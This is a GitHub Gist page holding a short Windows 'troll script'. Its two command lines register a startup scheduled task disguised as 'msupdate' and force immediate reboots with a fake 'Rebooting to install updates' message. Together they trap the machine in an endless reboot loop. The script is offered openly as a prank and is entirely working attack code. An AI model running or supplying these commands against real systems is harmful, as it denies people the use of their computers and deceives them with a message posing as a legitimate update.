Created
March 25, 2015 16:23
-
-
Save ahhh/ed2647fb03dcc6e05129 to your computer and use it in GitHub Desktop.
Troll script to reboot a machine and keep rebooting it every time it starts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
schtasks /create /sc onstart /tn msupdate /tr "shutdown /r /f /c """Rebooting to install updates""" /t 2" | |
shutdown /r /f /c "Rebooting to install updates" /t 2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment